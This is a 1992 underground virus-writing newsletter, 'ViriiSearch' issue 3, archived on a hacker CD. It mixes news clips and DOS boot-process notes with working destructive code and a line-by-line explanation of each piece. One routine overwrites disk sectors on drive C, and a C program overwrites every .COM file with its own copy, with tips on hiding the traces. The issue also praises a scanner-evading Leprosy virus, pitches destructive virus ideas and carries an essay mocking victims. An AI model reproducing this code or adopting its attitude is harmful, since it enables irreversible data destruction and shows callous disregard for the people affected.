home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / cmvs#3.v1 < prev    next >
Text File  |  1995-01-03  |  60KB  |  1,219 lines

  1. DISCLAIMER:
  2. The author will NOT accept responsibility for any damage to your
  3. computer media and/or files, or responsibility for any action you might
  4. take that will result in legal proceedings, the source code, if any, in
  5. this newsletter is THE REAL THING, and you, after you read this, will be
  6. well aware of what virii are capable of, and knowing that, it is expected
  7. that you will act responsibly.
  8.  
  9. DISCLAIMER II:
  10. All I know about programming I have learned on my own, and did not go to
  11. school for, and am still learning. As a result, I am sometimes prone to
  12. make mistakes, and be wrong about things, so please be patient if I should
  13. make a mistake, or say something that isn't true, which would be totally
  14. unintentional.
  15.  
  16.  
  17.                 ViriiSearch
  18.                 -----------
  19.  
  20.             The Virus Research Newsletter
  21.  
  22.                  Volume 1, Number 3
  23.  
  24.                 Date: 08/02/92
  25.  
  26. CREDITS:
  27. -----------------------------------------------------------------------------
  28. Author...................................................Criminal Minded <tm>
  29. Editor...................................................Criminal Minded <tm>
  30. Ideas, Source, Examples Supplied By......................Criminal Minded <tm>
  31. Facts Stolen From Several Sources By.....................Criminal Minded <tm>
  32. -----------------------------------------------------------------------------
  33.  
  34. Introduction:
  35.  
  36. Welcome To The Third Issue Of Viriisearch, The Virus Research Newsletter. In
  37. this issue you will find some changes, the layout has been changed slightly,
  38. there are some new sections, and it's more organized. Let me know how you
  39. like the changes, thanks!
  40.  
  41. In this issue:
  42.  
  43. -----------------------------------------------------------------------------
  44. DEPARTMENTS:                             |  FEATURES:
  45. -----------------------------------------------------------------------------
  46. In The News                             | Soviet Virii Attacks
  47.                     | NASA's "No Nukes Worm"
  48.                     | The Senate's Virus Bill
  49. -----------------------------------------------------------------------------
  50. Programming Shop                        | Absolute Disk Reads/Writes
  51. -----------------------------------------------------------------------------
  52. Programming Shop - Dissection Dept.     | Explanation Of Above Example
  53. -----------------------------------------------------------------------------
  54. The Machine Shop                        | The Bootstrap Routine
  55. -----------------------------------------------------------------------------
  56. Sample Source Code Of Virii             | A Replication Experiment
  57. -----------------------------------------------------------------------------
  58. "Suicidal Tendencies" Dept.             | Leprosy (Strain C)
  59. -----------------------------------------------------------------------------
  60. Virus Info                              | The Devil's Dance Virus
  61. -----------------------------------------------------------------------------
  62. Articles                                | Unique Virii Names/Ideas
  63.                     |------------------------------------
  64.                     | Assembly vs C Language Virii
  65.                     |------------------------------------
  66.                     | My Profile Of A Virus Writer And
  67.                     | My Views On The Virii Law
  68.                     |------------------------------------
  69.                     | Are Virii REALLY A Problem? And For
  70.                     | Who?
  71.                     |------------------------------------
  72.                     | The Brain Virus: Fact And Fantasy
  73. -----------------------------------------------------------------------------
  74. Final Notes                             | Special Thanks, Greetings, Etc.
  75. -----------------------------------------------------------------------------
  76.  
  77.  
  78. In The News:
  79. ------------
  80.  
  81. -----------------------------------------------------------------------------
  82. Welcome to a new section of Viriisearch! In this section we will cover virii
  83. that made the news, old and new. Hope you enjoy the new section!
  84. -----------------------------------------------------------------------------
  85.  
  86. The U.S.S.R. is already suffering from an outburst of computer viruses and
  87. crimes. Computer users should look to U.S. experiences to learn about
  88. information security before the problem escalates even further. Pirated
  89. software is prevalent in the Soviet Union, purchased from Hong Kong and
  90. Swiss connections. The existence of numerous viruses has been confirmed
  91. by Soviet and Eastern Europe anti-viral programmers and include Yankee
  92. Doodle, Disk Killer 170X, Jerusalem, Friday The 13th COM and Victor, to
  93. name a few. Three available antivirus programs are Lozynkv's Aidstest and
  94. Kotik's Anti-Kot and Anti-Kor. Western and home-grown antivirus programs
  95. are also being used. A lack of trained data security experts and data
  96. security support services only make the problem worse. The situation is
  97. likely to worsen before serious measures are taken to combat both viruses
  98. and crime. Decisions about protecting information are not being developed
  99. either.
  100.  
  101. "Bozhe Mov! Hackers and viruses already plague Soviets."
  102. Originally written by Sanford Sherizen.
  103. Computerworld August 20th 1990, Page 74.
  104. -----------------------------------------------------------------------------
  105. This next "In The News" Article is about a worm, not a virus, but I found it
  106. interesting and decided to re-print it.
  107. -----------------------------------------------------------------------------
  108.  
  109. DEC users are warned by the U.S. Department of Defense's Computer Emergency
  110. Response Team (C.E.R.T) that a worm discovered on a NASA computer network in
  111. the third week of Oct. 1989 may find it's way onto other DECnet networks. The
  112. worm changed system banners to display an antinuclear message, and thus was
  113. called the 'No Nukes Worm' by one NASA official. The program entered NASA's
  114. Space Physics Analysis Network (S.P.A.N) through the DECnet Internet series
  115. of networks that links approximately 13,000 computers, government agencies,
  116. research centers, universities, and other facilities. DEC spokesman Jef
  117. Gibson said that VAX/VMS system managers should have closed the loophole
  118. through which the worm gained access after it was discovered in Dec. 1988.
  119. NASA believes the worm may have been intended to protest the launch of the
  120. Atlantis space shuttle that carried a plutonium powered probe on it's way to
  121. Jupiter.
  122.  
  123. "Worms eats holes in NASA's DECnet; 'No Nukes Worm' replaces system banners
  124. with antinuclear message"
  125. Originally written by Michael Alexander and Maryfran Johnson.
  126. Computerworld October 23rd 1989. Page 4.
  127. -----------------------------------------------------------------------------
  128.  
  129. A Senate bill updating the Computer Fraud and Abuse Act of 1986 is being
  130. praised by computer and legal experts, but it's passage could encourage
  131. lawsuits against innocent institutions. The bill redefines the notion of
  132. computer 'access' to cover the intentional transmission or distribution of
  133. unauthorized applications that somehow cause damage to either hardware,
  134. software, or data. Intentional abusers face felony charges with penalties
  135. up to five years in prison and a $250,000 fine. The reckless, albeit,
  136. unintentional transmission of virus-ridden software could result in a
  137. misdemeanor charge and up to one year in jail and a $5,000 fine. The reach
  138. of the previous law would also be extended to include computers used in
  139. interstate communications or commerce. A U.S. Department of Justice official
  140. says the bill grants prosecutors greater flexibility.
  141.  
  142. "Virus bill raises hopes, fears: updated laws could hold unwitting transmi-
  143. tters liable for damages. (Computer Fraud and Abuse Act of 1986)"
  144. Originally written by Gary H. Anthes.
  145. Computerworld August 13th, 1990. Page 45.
  146. -----------------------------------------------------------------------------
  147.  
  148. Programming Shop:
  149. -----------------
  150.  
  151. *****************************************************************************
  152. First we will cover absolute disk reads/writes using Assembly language.
  153. *****************************************************************************
  154.  
  155. This next example will write the contents of 'buffer' to the first ten
  156. sectors of drive C:
  157.  
  158. *****************************************************************************
  159. WARNING: There is NO recovery from this.
  160. *****************************************************************************
  161.  
  162. abswrite         proc   near
  163. buffer   db      'Lick Me' dup (?)
  164.      mov     al,2
  165.      mov     cx,10
  166.      mov     dx,1
  167.      mov     bx,seg buffer
  168.      mov     ds,bx
  169.      mov     bx,offset buffer
  170.      int     26h
  171.      jc      error
  172.      add     sp,2
  173. abswrite         endp
  174.  
  175. *****************************************************************************
  176. Next is absolute disk read(s)
  177. *****************************************************************************
  178.  
  179. absread          proc   near
  180. buffer   db      512 dup (?)
  181.      mov     al,2
  182.      mov     cx,10
  183.      mov     dx,1
  184.      mov     bx,seg buffer
  185.      mov     ds,bx
  186.      mov     bx,offset buffer
  187.      int     25h
  188.      jc      error
  189.      add     sp,2
  190. absread          endp
  191.  
  192. *****************************************************************************
  193. Programming Shop - Dissection Dept.
  194. *****************************************************************************
  195.  
  196. absread          proc   near
  197. buffer   db      512 dup (?)
  198.      mov     al,2
  199.      mov     cx,10
  200.      mov     dx,1
  201.      mov     bx,seg buffer
  202.      mov     ds,bx
  203.      mov     bx,offset buffer
  204.      int     25h
  205.      jc      error
  206.      add     sp,2
  207. absread          endp
  208.  
  209. *****************************************************************************
  210.  
  211. First we will discuss absolute disk read(s).
  212.  
  213.  The line "mov al,2" is telling which drive we want to read from. Drive #2 is
  214.  drive C.
  215.  
  216.  The next line, "mov cx,10" is telling how many sectors we want to read (10)
  217.  
  218.  The line, "mov dx,1" is telling the starting sector number to start reading
  219.  at. (1)
  220.  
  221.  The next three lines:
  222.  
  223.      mov     bx,seg buffer
  224.      mov     ds,bx
  225.      mov     bx,offset buffer
  226.  
  227.  establish the address of the buffer, and then DS:BX point to the
  228.  segment:offset of the buffer.
  229.  
  230.  The next line, "int 25h" is the function number of the "absolute read"
  231.  function.
  232.  
  233.  The next line, "jc error" jumps if there is an error.
  234.  
  235.  and the last line, "add sp,2" clears the stack.
  236.  
  237. Notes: The purpose of clearing the stack using "add sp,2" is because, when
  238. function int 26h returns, the CPU flags originally pushed onto the stack by
  239. int 26h are still on it. You should clear it to prevent uncontrolled stack
  240. growth and to make available any other values pushed onto the stack before
  241. the call to int 26h.
  242.  
  243. *****************************************************************************
  244. Next we will discuss absolute disk write(s) and the difference between the
  245. two functions, read and write.
  246. *****************************************************************************
  247. As you can see, there is little difference between the two:
  248.  
  249.      Absolute Read:                        Absolute Write:
  250. _____________________________________________________________________________
  251. absread          proc   near       |   abswrite         proc   near
  252. buffer   db      512 dup (?)       |   buffer    db     'Lick Me' dup (?)
  253.      mov     al,2              |             mov     al,2
  254.      mov     cx,10             |             mov     cx,10
  255.      mov     dx,1              |             mov     dx,1
  256.      mov     bx,seg buffer     |             mov     bx,seg buffer
  257.      mov     ds,bx             |             mov     ds,bx
  258.      mov     bx,offset buffer  |             mov     bx,offset buffer
  259.      int     25h               |             int     26h
  260.      jc      error             |             jc      error
  261.      add     sp,2              |             add     sp,2
  262. absread          endp              |   abswrite          endp
  263. -----------------------------------------------------------------------------
  264. Absolute disk read and absolute disk write are identical except for four
  265. lines:
  266.  
  267. Note: Periods replace the lines in each example that are identical.
  268. -----------------------------------------------------------------------------
  269. absread          proc   near       |   abswrite         proc   near
  270. buffer   db      512 dup (?)       |   buffer    db     'Lick Me' dup (?)
  271.       .                        |              .
  272.       .                        |              .
  273.       .                        |              .
  274.       .                        |              .
  275.       .                        |              .
  276.       .                        |              .
  277.      int     25h               |             int     26h                                   |
  278.       .                        |              .
  279.       .                        |              .
  280. absread          endp              |   abswrite          endp
  281. -----------------------------------------------------------------------------
  282. The differences in the above examples are as follows:
  283.  
  284. The first line: This is the beginning of each procedure. They are named for
  285. what they do, absread for absolute read and abswrite for absolute write. You
  286. could've named the two procedures something else, for instance: shithead and
  287. dickhead, and it wouldn't matter.
  288.  
  289. The second line: In the case of absolute read, we have our buffer declared as
  290. 512 bytes and not initialized. In the case of absolute write, we have the
  291. buffer initialized to store the string 'Lick Me'.
  292.  
  293. The ninth line: This line is the function number, int 25h being the function
  294. number for absolute disk read, and int 26h being the function number for
  295. absolute disk write.
  296.  
  297. The twelfth line: This is just the end of each of the two procedures.
  298. *****************************************************************************
  299.  
  300. The Machine Shop:
  301. -----------------
  302.  
  303. -----------------------------------------------------------------------------
  304. Welcome to a brand new section of Viriisearch! Here we will discuss hardware
  305. oriented subjects, such as RAM, Machine Cycles, Boot Routines, etc.
  306. -----------------------------------------------------------------------------
  307. This month we will discuss the 'Bootstrap' routine.
  308. -----------------------------------------------------------------------------
  309. Many people turn on their machines, let DOS load and don't think a second
  310. thought about it. Those people also take MS-DOS for granted and don't even
  311. care what it it doing, even though it is the most important piece of software
  312. a IBM user can have. One of my favorite sayings: 'A Computer Without MS-DOS
  313. Is Little More Than A Boat Anchor'
  314.  
  315. Here I will tell exactly what MS-DOS does from the second you hit the power
  316. switch up until the time you get the prompt --> C>
  317.  
  318. When the system is started or reset, program execution begins at address
  319. 0FFFF0H. This is a feature of the 8086/8088 family of microprocessors and
  320. has nothing to do with MS-DOS. Systems based on these processors are design-
  321. ed so that address 0FFFF0H lies with an area of ROM and contains a jump mach-
  322. ine instruction to transfer control to system test code and the ROM bootstrap
  323. routine.
  324.  
  325. The ROM bootstrap routines reads the disk bootstrap routine from the first
  326. sector of the system startup disk (the boot sector) into memory at some
  327. arbitrary address and then transfers control to it. (The boot sector also
  328. contains a table of information about the disk format.)
  329.  
  330. The disk bootstrap routine checks to see if the disk contains a copy of
  331. MS-DOS. It does this by reading the first sector of the root directory
  332. and determining whether the first two files are IO.SYS and MSDOS.SYS (or
  333. IBMIO.COM and IBMDOS.COM), in that order. If these files are not present,
  334. the user is prompted to change disks and strike any key to try again. If
  335. the two system files are found, the disk bootstrap routine reads them into
  336. memory and transfers control to the initial entry point of IO.SYS. (In some
  337. implementations, the disk bootstrap routine reads only IO.SYS into memory,
  338. and IO.SYS in turn loads the MSDOS.SYS file.)
  339.  
  340. The IO.SYS file that is loaded from the disk actually consists of two separ-
  341. ate modules. The first is the BIOS, which contains the linked set of resident
  342. device drivers for the console, auxiliary port, printer, block, and clock de-
  343. vices, plus some hardware specific initialization code that is run only at
  344. system startup. The second module, SYSINIT, is supplied by Microsoft and lin-
  345. ked into the IO.SYS file, along with the BIOS, by the computer manufacturer.
  346.  
  347. SYSINIT is called by the manufacturer's BIOS initialization code. It determ-
  348. ines the amount of contiguous memory present in the system and then relocates
  349. itself to high memory. Then it moves the DOS kernel, MSDOS.SYS, from it's or-
  350. iginal load location to it's final memory location, overlaying the original
  351. SYSINIT code and any other expendable initialization code that was contained
  352. in the IO.SYS file.
  353.  
  354. Next, SYSINIT calls the initialization code in MSDOS.SYS. The DOS kernel in-
  355. itializes its internal tables and work areas, sets up the interrupt vectors
  356. 20H through 2FH, and traces through the linked list of resident device driv-
  357. ers, calling the initialization function for each. These driver functions
  358. determine the equipment status, perform any necessary hardware initialization,
  359. and set up the vectors for any external hardware interrupts the drivers will
  360. service.
  361.  
  362. As part of the initialization sequence, the DOS kernel examines the disk par-
  363. ameter blocks returned by the resident block-device drivers, determines the
  364. largest sector size that will be used in the system, builds some drive par-
  365. ameter blocks, and allocates a disk sector buffer. Control then returns to
  366. SYSINIT.
  367.  
  368. When the DOS kernel has been initialized and all the resident device drivers
  369. are available, SYSINIT can call on the normal MS-DOS file services to open
  370. the CONFIG.SYS file. This optional file can contain a variety of commands
  371. that enable the user to customize the MS-DOS environment. For instance, the
  372. user can specify additional hardware device drivers, the number of disk buf-
  373. fers, the maximum number of files that can be open at one time, and the file
  374. name of the command processor (shell).
  375.  
  376. if it is found, the entire CONFIG.SYS file is loaded into memory for process-
  377. ing. All lowercase characters are converted to uppercase, and the file is in-
  378. terpreted one line at a time to process the commands. Memory is allocated for
  379. the disk buffer cache and the internal file control blocks used by the handle
  380. file and record system functions. Any device drivers indicated in the CONFIG
  381. file are sequentially loaded into memory, initialized by calls to their init
  382. modules, and linked into the device driver list. The init function of each
  383. driver tells SYSINIT how much memory to reserve for that driver. After all
  384. installable device drivers have been loaded, SYSINIT closes all file handles
  385. and reopens the console (CON), printer (PRN), and auxiliary (AUX) devices as
  386. the standard input, standard output, standard error, standard list, and sta-
  387. ndard auxiliary devices. This allows a user-installed character device driver
  388. to override the BIOS's resident drivers for the standard devices.
  389.  
  390. Finally, SYSINIT calls the MS-DOS EXEC function to load the command interpr-
  391. eter, or shell. (The default shell is COMMAND.COM, but another shell can be
  392. substituted by means of the CONFIG.SYS file.) Once the shell is loaded, it
  393. looks for AUTOEXEC.BAT, automatically running any internal DOS commands and
  394. external commands inside that file. If it doesn't find AUTOEXEC.BAT it will
  395. ask for the date and time (providing a clock chip isn't present) and then
  396. displays the prompt, waiting for the user to enter a command. MS-DOS is now
  397. ready for business, and SYSINIT is discarded.
  398.  
  399. -----------------------------------------------------------------------------
  400.  
  401. Sample Source Code Of Virii:
  402. ----------------------------
  403.  
  404. -----------------------------------------------------------------------------
  405. This month we will discuss something I have been fooling around with and have
  406. finally completed. It is not a virus, but can be modified and made into one.
  407. What the following code basically does is find all the COM files in the curr-
  408. ent directory, and overwrites them with itself. It's basically a replicating
  409. program.
  410. -----------------------------------------------------------------------------
  411.  
  412. #include <malloc.h>
  413. #include <direct.h>
  414. #include <dos.h>
  415. #include <fcntl.h>
  416. #include <sys\types.h>
  417. #include <sys\stat.h>
  418. #include <io.h>
  419. #include <stdio.h>
  420. FILE *file1,*file2;
  421. int main(void);
  422. main()
  423. {
  424.  long size;
  425.  char *code = NULL;
  426.  struct find_t com_file;
  427.  _dos_findfirst("*.COM", _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &com_file);
  428.  chmod(com_file.name, S_IREAD|S_IWRITE);
  429.  file1=fopen("HELLO.EXE","rb");
  430.  file2=fopen(com_file.name,"wb");
  431.  size=filelength(fileno(file1));
  432.  code=malloc(size);
  433.  fread(code, size, 1, file1);
  434.  fwrite(code, size, 1, file2);
  435.  while (_dos_findnext(&com_file) == 0)
  436.      {
  437.      chmod(com_file.name, S_IREAD|S_IWRITE);
  438.      file2=fopen(com_file.name,"wb");
  439.      fwrite(code, size, 1, file2);
  440.      }
  441.      fcloseall();
  442.      free(code);
  443. }
  444.  
  445. -----------------------------------------------------------------------------
  446. Ok, this line:
  447.  
  448. _dos_findfirst("*.COM", _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &com_file);
  449.  
  450. finds the first occurence of a COM file with any of the attributes listed.
  451. They are "ORed" together using the | character. It passes the filename to
  452. the "com_file" structure, and references to that file are now: com_file.name
  453.  
  454. Upon one being found, it goes onto:
  455.  
  456. chmod(com_file.name, S_IREAD|S_IWRITE);
  457.  
  458. which changes the attributes of the file found to that it can be written to.
  459.  
  460. The next line opens the file you want to replicate in "read binary" mode, that
  461. it what the "rb" switch is for.
  462.  
  463. file1=fopen("VIRUS.EXE","rb");
  464.  
  465. Then it opens the first COM file, the 'victim' to be overwritten, in "write
  466. binary" mode (that's what the "wb" is for)
  467.  
  468. file2=fopen(com_file.name,"wb");
  469.  
  470. Then it obtains the size of the virus and allocates enough memory for it.
  471.  
  472.  size=filelength(fileno(file1));
  473.  code=malloc(size);
  474.  
  475. Then it reads the virus code into the buffer "code" which is size "size", is
  476. 1 item, and is reading it from "file1"
  477.  
  478.  fread(code, size, 1, file1);
  479.  
  480. Then it takes "code" which is size "size", is 1 item, and writes it to "file2"
  481.  
  482. fwrite(code, size, 1, file2);
  483.  
  484. Once it is done with that, it goes onto the loop:
  485.  
  486. while (_dos_findnext(&com_file) == 0)
  487.     {
  488.     chmod(com_file.name, S_IREAD|S_IWRITE);
  489.     file2=fopen(com_file.name,"wb");
  490.     fwrite(code, size, 1, file2);
  491.     }
  492.  
  493. Both _dos_findfirst() and _dos_findnext return 0 if they are successful at
  494. finding the specified file, so basicall this loop is saying:
  495.  
  496. "keep going as long as _dos_findnext(&com_file)) equals 0"
  497.  
  498. What it does every time it passes through the loop (i.e. - finds a COM file):
  499.  
  500. changes the mode of the file so it can be written to, opens that file in
  501. "write binary" mode, and writes the virus code to it.
  502.  
  503. When there are no more COM files found, the loop is done and it goes onto the
  504. next part of the program:
  505.  
  506. fcloseall();
  507. free(code);
  508. }
  509.  
  510. it closes all open files associated with this program, releases the previous-
  511. ly allocated memory for the virus code, and exits.
  512. -----------------------------------------------------------------------------
  513. NOTES:
  514.  
  515. This is kind of slow but is somewhat faster than the example in issue #2 that
  516. truncated files to 0 bytes. You can also fool around with getting and setting the file's
  517. date and time, and changing it's size back to what it was originally to cover
  518. your tracks.
  519.  
  520. -----------------------------------------------------------------------------
  521. Suicidal Tendencies Dept/Virus Of The Month:
  522. -----------------------------------------------------------------------------
  523. The virus of the award month goes to: Leprosy (C Strain)
  524. -----------------------------------------------------------------------------
  525. NOTE: This is actually Leprosy - B Strain , but modified by TBSI so McAffee's
  526. scanner wouldn't find it. Originally written by PCM2 in August of 1990.
  527. Modified by TBSI in June of 1991.
  528.  
  529. PCM2, The person who wrote this, and all other strains of Leprosy, did a real
  530. nice job with this one. I placed the file, LEPROSYC.COM, on a 5.25 360K
  531. floppy in drive B and this is what was on the disk:
  532.  
  533.             Volume in drive B has no label
  534.             Directory of B:\
  535.  
  536.             COMMAND  COM     47845 04-09-91   5:00a
  537.             ANSI     SYS      9029 04-09-91   5:00a
  538.             RAMDRIVE SYS      5873 04-09-91   5:00a
  539.             CONFIG   SYS        39 01-01-80  12:35a
  540.             SYS      COM     13440 04-09-91   5:00a
  541.             NDOS     COM      2419 08-14-84  12:00p
  542.             MEM      EXE     39818 04-09-91   5:00a
  543.             DEBUG    EXE     21692 06-07-90   2:24a
  544.             AUTOEXEC BAT        69 01-01-80   3:37a
  545.             PKUNZIP  EXE     23528 03-15-90   1:10a
  546.             LEPROSYC COM       666 06-05-91  12:36a
  547.                 11 file(s)     164418 bytes
  548.                            192512 bytes free
  549.  
  550. This is BEFORE I ran the virus...this is after:
  551.  
  552.             Volume in drive B has no label
  553.             Directory of B:\
  554.  
  555.             COMMAND  COM     47845 04-09-91   5:00a
  556.             ANSI     SYS      9029 04-09-91   5:00a
  557.             RAMDRIVE SYS      5873 04-09-91   5:00a
  558.             CONFIG   SYS        39 01-01-80  12:35a
  559.             SYS      COM     13440 04-09-91   5:00a
  560.             NDOS     COM      2419 08-14-84  12:00p
  561.             MEM      EXE     39818 04-09-91   5:00a
  562.             DEBUG    EXE     21692 06-07-90   2:24a
  563.             AUTOEXEC BAT        69 01-01-80   3:37a
  564.             PKUNZIP  EXE     23528 03-15-90   1:10a
  565.             LEPROSYC COM       666 06-05-91  12:36a
  566.                 11 file(s)     164418 bytes
  567.                            192512 bytes free
  568.  
  569. There is not one single difference with any of the files, yet EVERY .EXE and
  570. .COM file on the disk was infected. No changes in size, no date/time changes.
  571. Well, the dates and times did change but the virus preserves the original date
  572. and time stamps, restoring them once the infection is complete. But no changes
  573. in file sizes.....this virus was very well written. It was fast, efficient,
  574. and very small in size. The source code to this particular virus is 16664
  575. bytes, and, as you can see, the .COM file is only 666 bytes. This is what the
  576. virus did when run: It accessed drive B for a few seconds, and gave me the
  577. error message: Program too big to fit into memory. I did not notice any
  578. changes at all so I assumed it didn't infect any of the files, but when I ran
  579. each .EXE and .COM file on the disk, they all gave me that error message...
  580. 'Program too big to fit into memory' so I assume they all were infected.
  581. The program is actually supposed to give me this message when it is done:
  582.  
  583.  
  584.          ATTENTION!  Your computer has been afflicted with
  585.          the incurable decay that is the fate wrought by
  586.          Leprosy Strain B, a virus employing Cybernetic
  587.          Mutation Technology(tm) and invented by PCM2 08/90.
  588.  
  589. For some reason it did not display this message. Perhaps there is a certain
  590. amount of files it must infect before it displays it. I did not take too
  591. good of a look at the source to determine this. All in all a very nicely
  592. written virus, does it's job fast and very efficiently.
  593. -----------------------------------------------------------------------------
  594.  
  595.  
  596. Virus Info:
  597. -----------
  598.  
  599. -----------------------------------------------------------------------------
  600. Welcome to a brand new section of Viriisearch! In this section we will give
  601. valuable information on a virus, such as origin, aliases, etc. Some of the
  602. info presented here is taken from the file: MSDOS.ZIP, a index of DOS virii.
  603. Other info presented was supplied by me, such as the scan string, name of
  604. virus author, etc.
  605. -----------------------------------------------------------------------------
  606. Virus Spotlight This Month Will Cover: The Devil's Dance Virus
  607. *****************************************************************************
  608. Name Of Virus: The Devil's Dance Virus
  609.  
  610. Virus Aliases: Devil/941 Virus
  611.  
  612. Name Of Virus Author: N/A
  613.  
  614. Language Virus Was Written In: N/A
  615.  
  616. Date Virus Was First Discovered Or Originated: Spring of 1990
  617.  
  618. Place Virus Was First Discovered Or Originated: Mexico City
  619.  
  620. Scan String:
  621. 0L0G0M0H0G1U0G0R0HBK2MDY3Y0G0G4MCU0G2LDG1Y4LCU0G2L0G2MBR4SDNFLDN8H3XFW4XBW5U0
  622. G2L1WDNFGFM0H0JBR0G0Q6MAV0G0M6GFK0G0MBV7W0G0M6GFK0G0M7Z0G0M9SEJBZ1L0G0M5S0G2L
  623. 1L0G0M1L0G0MEW0G0MBR0M0MAW4Q0K0G0G
  624.  
  625. Checksum: CF3C
  626.  
  627. Hooked Interrupts: INT 21H, functions 4B00H and 49H, INT 09H
  628.  
  629.  
  630. Trigger: Upon INT 21H, function 4B00H, being called, the .COM file will be
  631.      infected. Also, if you hit the CTRL-ALT-DEL sequence anytime after
  632.      typing a total of 2,500 characters, the first sector of drive C will
  633.      be overwritten.
  634.  
  635. Identification: If you do a hexadecimal dump of the virus, the following:
  636.  
  637.         "Drk" & "*.com"
  638.  
  639.         should be seen in the code.
  640.  
  641.         Also, the time and date of the infected file is set to the
  642.         time and date of infection.
  643.  
  644.         If you rest the system by pressing CTRL-ALT-DEL, the virus
  645.         will display the following message:
  646.  
  647.  
  648.         "Have you ever danced with"
  649.         "the devil under the weak light of the moon?"
  650.         "Pray for your disk! The_Joker..."
  651.         "Ha Ha Ha Ha Ha Ha Ha Ha Ha Ha".
  652.  
  653.         If your monitor/card supports color, all characters typed
  654.         will be in a different color.
  655.  
  656.  
  657. Size & Name Of Original Virus EXE/COM File: N/A
  658.  
  659. Techniques Used: All file attributes are removed and the following message is
  660.          encrypted:
  661.  
  662.         "Have you ever danced with"
  663.         "the devil under the weak light of the moon?"
  664.         "Pray for your disk! The_Joker..."
  665.         "Ha Ha Ha Ha Ha Ha Ha Ha Ha Ha".
  666.  
  667.  
  668. What It Attacks:
  669.  
  670. .COM Files: Yes
  671.  
  672. .EXE Files: No
  673.  
  674. COMMAND.COM: Yes (If in the current directory when virus is first run, or if
  675.          COMMAND.COM is run)
  676.  
  677. Boot Sector: No
  678.  
  679. File Allocation Table (FAT): No
  680.  
  681. Fixed Disk Partition Table: No
  682.  
  683. Note: The Boot Sector, FAT, or Fixed Disk Partition Table MAY be attacked if
  684.       any of them reside on the first sector of drive C because the virus
  685.       does attack that part of the drive. (See Damage Report)
  686.  
  687. It depends on your drive and what resides in the first sector.
  688.  
  689. Change In Size/Date/Time Of Infected File: 941 bytes, Date & Time Is Changed
  690.                        According To The System's Date And
  691.                        Time At The Time Of Infection.
  692.  
  693. Virus Volume Label: None
  694.  
  695. Known Number Of Strain(s): None
  696.  
  697. Damage : When the virus is first run, it will infect ALL the .COM
  698.      files in the current directory. After pressing 2,500 keys,
  699.      if you should reset the system by pressing CTRL-ALT-DEL, the
  700.      virus will overwrite the first sector of drive C. Also, any
  701.      .COM file you run will be infected. If the .COM file infected
  702.      is bigger than 64,337 bytes, it will not run correctly after
  703.      being infected.
  704.  
  705. *****************************************************************************
  706. ---------
  707. Articles:
  708. ---------
  709.  
  710.              ****************************
  711.              * Unique Virii Names/Ideas *
  712.              ****************************
  713.  
  714.  
  715. I was looking at some virii names recently, and I noticed that a few of them
  716. are pretty stupid...like 'Fuck you' or 'Fuck Me' or 'Phuck'....it does not
  717. take too much intelligence to think up these names so that's why I decided
  718. to include this article in this month's Viriisearch <tm> and here are some
  719. virii names and ideas that I thought of:
  720. -----------------------------------------------------------------------------
  721. Stolichnaya  - Maybe we could have this one display a picture of Kitty Dukakis
  722.            as it deletes your files or trashes your hard drive.
  723.  
  724. Valhalla     - For those of you who don't know, Valhalla is the Viking Heaven.
  725.            To be honest, I didn't really put much thought into what this
  726.            would do as a virus.....I just like the name and though it
  727.            might be a cool name for a virus.
  728.  
  729. Red Sector A - This is a song by Canadian Power Trio, Rush. Perhaps this can
  730.            overwrite the boot sector with the lyrics to the song. Maybe
  731.            have it pick randomly from a list of tour dates from the 'Roll
  732.            the bones' tour as it's trigger date.
  733.  
  734. 4th Of July  - We have virii for Christmas, Columbus Day, etc....but I have
  735.            not seen one called 4th Of July....so here we are...
  736.  
  737. Blizzard     - We could have this annoy the user with random 'snow' on the
  738.            monitor which gradually gets worse and worse until you can no
  739.            longer see the screen. While it is doing that and flashing
  740.            fake error messages, it can eat some files or encrypt the file
  741.            allocation table or something. We can also have it's trigger
  742.            date as the date that the Blizzard of '78 hit...
  743.  
  744. *****************************************************************************
  745.  
  746.                ********************************
  747.                * Assembly vs C Language Virii *
  748.                ********************************
  749.  
  750.  
  751. Most C language functions are written in Assembly, so some consider C a
  752. modified Assembly language....and some also claim that a well written C
  753. program is almost as fast as Assembly. This may be true, but when it comes
  754. to writing a virus, I say Assembly is the winner hands down. Earlier we had
  755. discussed the "Leprosy-B" virus. The Assembly source code to that virus is
  756. 16664 bytes and the .COM is a remarkable 666 bytes. If I tried to write that
  757. virus in C language, the smallest I could get the .COM or .EXE file would be
  758. about 8 kilobytes if I was lucky. In a previous issue, we discussed my ATTRB
  759. program which is about 3K in source, and a 9K executable, and that is really
  760. good for C language...here we have a .COM file smaller than the source code.
  761. Well over 20% smaller.
  762.  
  763. *****************************************************************************
  764.  
  765.               *********************************
  766.               * My Profile Of A Virus Writer  *
  767.               * And My Views On The Virus Law *
  768.               *********************************
  769.  
  770.  
  771. A lot of people may wonder why someone would want to write a virus. Some
  772. people believe it's a former employee wanting revenge against his company.
  773. Others believe that it's a personal vendetta against a fellow computer user
  774. or the sysop of a BBS, or a student wishing to piss his teacher off. Some or
  775. all of these may be true, but I personally believe that one person cannot
  776. possibly mad at all of the computer society. So, why would someone want to
  777. write a virus? Well, Phalcon/Skism (Canada) claim they do it to 'make the
  778. lives of the anti-viral people a living hell' so there's one reason. I also
  779. believe they do it because THEY CAN. That's it. They do it because they know
  780. how. I don't see the average virus writer as a basket case genius egomaniac
  781. as a lot of people do, I see them as a ordinary every day person with very
  782. good programming abilities and nothing more. I do not sympathize with any
  783. person that gets hit by a virus, either. I sit there and laugh alongside the
  784. person who wrote the virus. Sound cruel? Well, I have my reasons. People know
  785. they exist, and all the information they need to protect themselves and
  786. prevent virus attacks is all right there for the taking. Not just in the
  787. underground so there is no excuse why these people cannot obtain these
  788. materials....If you take the proper precautions and steps, a virus attack
  789. will never happen on your machine and if a real intelligent one comes along
  790. that is able to sneak by a virus scanner and/or disable a virus scanner's
  791. method(s) of scanning, and your hard drive is wiped clean, that's what back
  792. ups are for. If you are one of those people who don't want to take the time
  793. to backup, or think backing up is 'for wimps' (as someone had said once - I
  794. am not sure if they were serious or not) when you lose everything just bend
  795. over and kiss your sorry ass goodbye. Anyway, back to the topic of this art-
  796. icle: Why would someone want to write a virus? I already covered some of the
  797. reason why one would want to do this, and covered my reason why they do it.
  798. The average virus writer writes his virus in the hopes some sap doesn't listen
  799. to all the warnings and runs software downloaded from a BBS without scanning
  800. it for a known virus first and gets hit by it. Then he sits there and laughs
